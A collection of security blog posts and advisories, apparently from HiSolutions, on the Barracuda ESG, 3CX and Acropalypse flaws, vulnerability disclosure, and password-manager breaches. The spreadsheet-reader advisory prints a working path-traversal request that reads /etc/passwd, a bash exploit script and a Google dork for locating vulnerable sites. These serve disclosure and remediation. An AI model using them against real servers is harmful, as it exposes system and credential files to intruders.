Auch für die Softwareentwicklung steckt ein Denkanstoß in dem Vorfall. Dafür schauen wir einmal in die Details dieser Lücke: die Verarbeitung von Mailanhängen mit TAR-Archiven. Das TAR-Format ist in der Linux-Welt sehr gebräuchlich, wenn auch nicht typischerweise als Mailanhang. Es wurde ursprünglich für die Datensicherung auf Magnetbändern entwickelt, stellt den Zustand des Dateisystems mit allen Metadaten sehr gut dar und ist sehr flexibel. Das geht bis hin zu Pfadangaben für Dateien, die sich auch auf übergeordnete Verzeichnisse oder sogar absolute Pfade beziehen können. Und genau dieses Feature wurde von den Angreifern ausgenutzt, um Dateien an den passenden Stellen im Dateisystem der Appliance abzulegen und dort vom Gerät ausführen zu lassen. Doch zurück zu Ihrem Softwareprojekt: Sie haben doch sicher auch irgendwo diese eine Funktion, die es schon sehr lange gibt, die kaum in der Praxis genutzt wird, und die trotzdem da sein muss? Wie steht es da um die Testabdeckung und um regelmäßige Reviews, ob nicht doch eine Änderung notwendig ist?

https://www.barracuda.com/company/legal/esg-vulnerability

https://www.rapid7.com/blog/post/2023/06/08/etr-cve-2023-2868-total-compromise-of-physical-barracuda-esg-appliances/

https://www.heise.de/news/Cyberattacken-Admins-muessen-Barracuda-ESG-sofort-erseztzen-9181326.html

Schwachstelle

Wenn der Patch zum Trojaner wird

Die Desktop-Anwendung des VoIP-Telefonie-Herstellers 3CX wurde Ende März trojanisiert. Der Definition für Malware vom Typ „Trojanisches Pferd“ folgend, tat die Software, was sie eigentlich sollte – brachte aber zusätzliche Schadfunktionen mit. Ein sehr schwacher Trost für die Mehrzahl der Betroffenen mag sein, dass sie nicht das eigentliche Ziel des Angriffs waren. Und obwohl das auf den ersten Blick sehr beruhigend klingen mag, erforderte die Kompromittierung einer Großzahl ihrer Clients auch für diese Betroffenen selbst umfangreiche Maßnahmen, um das Ausmaß des Schadens zu bestimmen und trojanisierte Systeme neu aufzusetzen.

Betroffen sind die Versionen Update 6 und 7 für MacOS sowie Update 7 für Windows. Sie wurden bereits beim Hersteller modifiziert und typischerweise automatisch über die eingebaute Update-Funktion der Desktop-Anwendung installiert. Bereinigte Versionen stehen inzwischen bereit. Alle, für die Patchmanagement nicht nur das schnelle, ungeprüfte Installieren von Updates ist, fühlen sich jetzt sicherlich bestätigt. Das IT-Grundschutz-Kompendium fordert in OPS.1.1.3.A15 auch: „Es MUSS entschieden werden, ob der Patch eingespielt werden soll.“

Aber hätte man die Trojanisierung des Software-Updates auf einem Testsystem erkennen können? Beim Beobachten des Netzwerkverkehrs hätte man zuvor nicht vorhandene Verbindungen bemerken können – allerdings haben die Angreifer dafür extra Domainnamen reserviert, die man leicht einem legitimen Zweck zugeordnet hätte. Man hätte auch über die Art und Weise stolpern können, wie ein Teil der Malware in den DLLs der legitimen Software versteckt wurde: Während der erste Teil (der Loader) vom Hersteller unwissentlich direkt in eine DLL-Datei einkompiliert war, wurde der zweite Teil so an eine signierte DLL-Datei angehängt, dass die Authenticode-Signatur weiter gültig ist. Das sich Signaturen so leicht austricksen lassen sollen, klingt nach einem Fehler – und tatsächlich gibt es dagegen bereits seit 2013 einen Patch von Microsoft. Vermutlich ist der Patch auf Ihrem Testsystem aber nicht installiert, denn er wurde kurz nach der Veröffentlichung als „optional“ gekennzeichnet. Zu viele Nutzer meldeten legitime Software, die plötzlich nicht mehr die Signaturprüfung bestand. Auch das ist ein „schwieriger“ Teil des Patchmanagements –die positiven wie negativen Auswirkungen auch von solchen Updates zu prüfen, die der Hersteller nur eingeschränkt empfiehlt.

Mit der Patchmanagement-Brille betrachtet, bleibt als Krux festzuhalten: Ein vom Hersteller empfohlenes Update, das man besser nicht installiert hätte, traf auf ein vom Hersteller nicht uneingeschränkt empfohlenes Update, das man besser installiert hätte.

Hintergrund zum trojanisierten 3CX-Desktop-Client:

Hintergrund zu der manipulierbaren Authenticode-Signatur:

Advisories, Schwachstelle

„Acropalypse“ NOW!

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Package-ID „com.google.android.markup“) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Hintergrund

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Google Markup) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Simon Aarons und David Buchanan fiel auf, dass dies bei beschnittenen Fotos auf Google Pixel Smartphones nicht der Fall zu sein scheint. Das Smartphone zeigte zwar ausschließlich den beschnittenen Bildbereich an, dennoch blieb die Dateigröße nahezu unverändert. Dies legte den Verdacht nahe, dass die originalen Bildinformationen noch vorhanden sein könnten.

Ihre Analyse ergab, dass beim Speichern des beschnittenen Bildes tatsächlich nicht das alte Bild gelöscht wird Stattdessen wird mit dem neuen, kleineren Bildausschnitt nur der Beginn des alten Bildes überschrieben. Die alten Bildinformationen sind jedoch weiterhin in großen Teilen vorhanden. Aarons und Buchanan entwickelten daraufhin ein Web-Tool mit dem sich das ursprüngliche Bild aus dem einem beschnittenen weitestgehend rekonstruieren lässt. Die Schwachstelle hat trägt die offizielle CVE-ID „CVE-2023-21036“.

Die folgende Abbildung soll den Unterschied zwischen erwartetem Ergebnis und tatsächlichem Ergebnis veranschaulichen. Die „IEND“-Byte-Folge markiert in einer PNG-Datei die Stelle an dem das Ende der Bildinformationen erreicht ist.

Bildbetrachtungsprogramme haben mit dem Anzeigen der Variante (2) des Bildes kein Problem, da die IEND-Byte-Folge korrekt hinter dem beschnittenen Bildausschnitt gesetzt wurde. Aus Sicht der Image-Tools handelte es sich um ein syntaktisch korrekte PNG-Datei. Informationen nach dem IEND werden einfach ignoriert. Mittlerweile wurde eine Sicherheitslücke im Microsoft Snipping-Tool entdeckt, welche sich analog ausnutzen lässt. Wir haben dies zum Anlass genommen weitere Tools auf diese Art von Schwachstelle hinzu untersuchen, jedoch war keines davon anfällig. Die folgenden Tools wurden untersucht:

ToolVersion
IrfanView4.62
Greenshot1.2.10
XnView MP1.4.3
ShareX15.0
Durch die HiSolutions auf „Acropalypse“-Anfälligkeit untersuchte Tools

Zur Untersuchung haben wir die Dateigröße von Originaldatei und zugeschnittener Datei verglichen. Haben beide die gleiche Größe ist der Fehler sehr wahrscheinlich, da eine zugeschnittene Datei mit weniger Bildinhalt entsprechend weniger Speicherplatz benötigen sollte. Bei allen getesteten Tools war die Dateigröße der beschnittenen Datei deutlich kleiner als die der Originaldatei.

Da die Google-Pixel App und und das Microsoft Snipping-Tool eine unterschiedliche Code-Basis verwenden, gehen wir davon aus, dass es sich um einen vergleichbaren Logikfehler bei der Programmierung handelt: Beide Tools schreiben den kleineren Inhalt in die größere Originaldatei ohne die Restlänge der Datei verwerfen. Hinweis auf eine Schwachstelle, welche durch eine anfällige, gemeinsam genutzte Bibliothek entstanden ist, können wir nicht erkennen.

Proof-of-Concept

Das folgende Beispiel zeigt, wie aus einem, auf einem Google Pixel beschnittenes Bild, das Originalbild wiederhergestellt wird (pixel_cropped.png, pixel_original.png). Für die Wiederherstellung wurde dieses Script verwendet.

Das folgende Beispiel zeigt, wie aus einem, mit dem Windows Snipping-Tool beschnittenem Bild, das Originalbild wiederhergestellt wird (windows_cropped.png, windows_original.png).

Da das Snipping-Tool RGBA statt RGB als PNG Image Type verwendet, muss der oben verlinkte Code leicht angepasst werden, um auch hier das Original wiederherzustellen. Die Änderungen betreffenen die folgenden Zeilen:

132c132
< ihdr += (2).to_bytes(1, "big") # true colour
---
> ihdr += (6).to_bytes(1, "big") # true colour with alpha
140c140
< reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff" * orig_width) * orig_height)
---
> reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff\xff" * orig_width) * orig_height)
149c149
< for i in range(0, len(reconstructed_idat), orig_width*3+1):
---
> for i in range(0, len(reconstructed_idat), orig_width*4+1):

Voraussetzung zur Ausnutzung

Nach Kenntnisstand vom 22.03.2023 müssen die folgenden Voraussetzungen gegeben sein, um eine anfällige Bild-Datei zu erhalten.

  • Das Bild muss mit einer anfälligen Software bearbeitet worden sein.
  • Nach aktuellem Kenntnisstand ist ausschließlich die nachträgliche Wiederherstellung aus PNG-Bildern möglich.
  • Die beschnittene Bilddatei, darf nicht nachträglich komprimiert worden sein, da sonst die verborgenen Bildinformationen entfernt werden.  Dies geschieht jedoch beim Upload auf online-Plattformen häufig automatisch.
  • Für die Rekonstruktion muss die Bildgröße des unbeschnittenen Originalbildes bekannt sein. Diese kann jedoch durch geschicktes ausprobieren von Standard-Displayauflösungen erraten, z. B. Full HD (1920 × 1080 Pixel), oder durch zusätzliche Metainformationen wie beispielsweise dem Handymodell ermittelt werden.

Auswirkungen

Personen mit Zugriff auf mit einer anfälligen Software beschnittene Bilder können große Teile des Originalbildes wiederherstellen. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese möglicherweise wieder sichtbar machen und für bösartige Absichten verwenden.

Der Grund dafür dass manche Bildinformationen verloren gehen, ist dem Aufbau des PNG-Dateiformats geschuldet. Bildinhalte werden in einer Sequenz sogenannter IDAT-Chunks gespeichert. Beim Speichern des beschnittenen Bildes über den Datei-Anfang des Originals werden bestimmte Teile des Originalbildes überschrieben. IDAT-Chunks die auf diese Weise verändert bzw. beschädigt werden können nicht korrekt wiederhergestellt werden, was zu einer wirren oder leeren Pixelfläche im wiederhergestellten Bild führt.

Gegenmaßnahmen

Wurden sensible Bilder mit einem der genannten Tools beschnitten und veröffentlich, dann sollten diese nach Möglichkeit von der betroffenen Plattform gelöscht werden. Dies ist jedoch nur notwendig, wenn die Bilder auf der Plattform unkomprimiert veröffentlicht sind (siehe „Voraussetzung zur Ausnutzung“).

Betroffene Bilddateien können repariert werden, indem das Bild in einem anderen Format (z. B. JPEG) gespeichert wird. Hierdurch werden die verborgenen Dateiinhalte abgeschnitten.

Google hat bereits reagiert und ein Update für seine Pixel-Smartphones veröffentlicht. Dieses sollte umgehend eingespielt werden. Bei der Verwendung des Microsoft Snipping-Tools sollten beschnittene Bilder als neue Datei unter einem anderen Dateinamen gespeichert werden. Dadurch wird verhindert, dass lediglich das alte Bild unsauber überschrieben wird. Ein Patch wurde zum aktuellen Zeitpunkt noch nicht veröffentlicht.

Schwachstelle

Wenn der White-Hat-Hacker anruft, aber niemand rangeht

Stellen Sie sich vor, ein findiger Mensch hat eine Sicherheitslücke bei Ihnen entdeckt. Wenn er oder sie jetzt Ihre Organisation darauf aufmerksam machen möchte: Wo würde die Information initial landen? Wie gut sind die Chancen, dass sie fachkundig bewertet und nicht als Werbung wegsortiert wird? Wer würde entsprechende Maßnahmen ergreifen? Und wer übernimmt die Kommunikation mit den Entdeckern – oder werden sie am Ende gar keine Antwort erhalten?

Die Erfahrungen der Entdeckerseite beschreibt ein Artikel in der „Zeit“ vom 19.01. Die Autoren hatten bei 15 Hochschulen Sicherheitslücken identifiziert. Im Artikel beschreiben sie die schnellen und positiven Reaktionen einiger Sicherheitsverantwortlichen, aber auch die Schwierigkeiten, überhaupt einen Ansprechpartner zu finden oder ein Feedback zu erhalten. Wer schon länger in der IT-Sicherheit unterwegs ist, kennt diese Problematik. Wie viele Advisories oder Artikel in Fachmedien zu Sicherheitslücken haben wir schon gelesen, die mit den Worten endeten: „Vom Hersteller gab es bis zur Veröffentlichung keine Reaktion“?

Auch wir erleben im Rahmen unseres Responsible-Disclosure-Prozesses sehr unterschiedliche Reaktionen auf unsere Meldungen. In einer Studie 2018 haben wir eine Lücke bei insgesamt 3.000 Betroffenen identifiziert und gemeldet. Lediglich 30 % davon reagierten mit der Schließung ihrer Lücke – andere Studien mit Warnungen von vielen Betroffenen kommen zu vergleichbaren Ergebnissen.

Aber zurück zu Ihrer Organisation: Sollten Sie immer alles stehen und liegen lassen, wenn eine Meldung beim Empfang eingeht? Auch hier erleben wir sehr unterschiedliche Situationen, wenn wir Kunden beraten. Natürlich kennt ein externer Sicherheitsforscher – anders als ein Auditor – die konkreten Sicherheitsziele Ihrer Organisation und die Kritikalität der einzelnen Systeme nicht im Detail. Daher wird meist vom schlimmsten Fall ausgegangen, und die Befunde entsprechend hoch eingestuft – gelegentlich auch zu hoch gegenüber einer näheren Betrachtung der Lücke und des Schadenpotenzials. Eine fachkundige Bewertung ist also immer zwingend nötig und daraufhin eine überlegte Reaktion – sowohl bei der Auswahl der getroffenen Maßnahmen als auch bei der Kommunikation mit den Meldenden.

https://www.zeit.de/2023/04/it-sicherheit-hochschule-sicherheitsluecken-hacker

HiSolutions Research
Advisories, Allgemein, Penetrationstest, Schwachstelle

Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:

curl http://127.0.0.1/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

---------------------------------
Starting memory: 670416
---------------------------------
---------------------------------
Spreadsheets:
Array
(
    [0] => passwd
)
---------------------------------
---------------------------------
---------------------------------
*** Sheet passwd ***
---------------------------------
0: Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
)
Memory: 3000 current, 719760 base
---------------------------------
1: Array
(
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
)
Memory: 3232 current, 719992 base
---------------------------------
2: Array
(
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
)
Memory: 3224 current, 719984 base
---------------------------------
3: Array
(
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin
)

[...]

To display only the actual file content and filter out the “noise” around the output, use the following script:

#!/bin/bash

## usage:
# $ spreadsheet-reader-exploit.sh URL FILEPATH
# $ http://127.0.0.1/vendor/nuovo/spreadsheet-reader ../../../../../../../../../../../etc/passwd

SPREADSHEET_FOLDER_URI=$1
FILEPATH=$2
TMP=/tmp/spreadsheesh.txt

curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'

Impact

The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)

Remediation

As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.

Credits

The vulnerability was found by Ronny Dobra (HiSolutions AG).

Passwörter, Schwachstelle

Doch lieber Zettel unter der Tastatur? Sicherheitslücken in Passwortmanagern

Natürlich ist das berühmte (und leider auch in einigen unserer Audits anzutreffende) Post-it am Monitor oder unter der Tastatur keine Lösung zum Speichern von Passwörtern. Passwortmanager sind angetreten, um das Problem zu lösen, dass sich Menschen nur wenige technisch sichere Passwörter merken können. Auch wir empfehlen die Nutzung regelmäßig, da so für jeden Dienst und jedes System ein individuelles, und vor allem auch bei Brute-Force-Angriffen sicheres Passwort leicht erzeugt werden kann. Gleichzeitig wird der Passwortmanager damit zu einem Generalschlüssel und lohnenden Ziel für Angreifer – ein neues Risiko, das man berücksichtigen muss.

Mehrere Vorfälle in der Vorweihnachtszeit haben gezeigt, wie real dieses Risiko werden kann. Die meiste Beachtung fand der Sicherheitsvorfall beim Anbieter LastPass. LastPass informierte die Nutzer bereits im August über den Vorfall. Zum damaligen Zeitpunkt ging man aber davon aus, dass die Angreifer zwar Zugriff auf Entwicklersysteme hatten, Nutzerdaten und gespeicherte Passwörter aber nicht betroffen waren. Im Dezember musste LastPass nun auch Zugriffe auf Back-ups von Kundendaten einräumen. Die Passwortdatenbanken lassen sich zwar nur mit Kenntnis des Master-Passworts des jeweiligen Nutzers öffnen. Aber damit sind wir wieder beim initialen Problem: Menschen sind meist nicht gut im Ausdenken und Merken von technisch sicheren Passwörtern.

Das Risiko besteht nicht nur bei Online-Passwortmanagern: Die Kollegen von ModZero fanden bei der OnPremise-Lösung PasswordState gleich mehrere Lücken. Kombinierte ein Angreifer ohne Zugangsdaten diese geschickt, konnte er beliebige Zugangsdaten auslesen und auch überschreiben. Die Lücken sind bereits behoben – wenn man das Update von Anfang November eingespielt hat.

https://blog.lastpass.com/2022/12/notice-of-recent-security-incident/

https://www.modzero.com/modlog/archives/2022/12/19/better_make_sure_your_password_manager_is_secure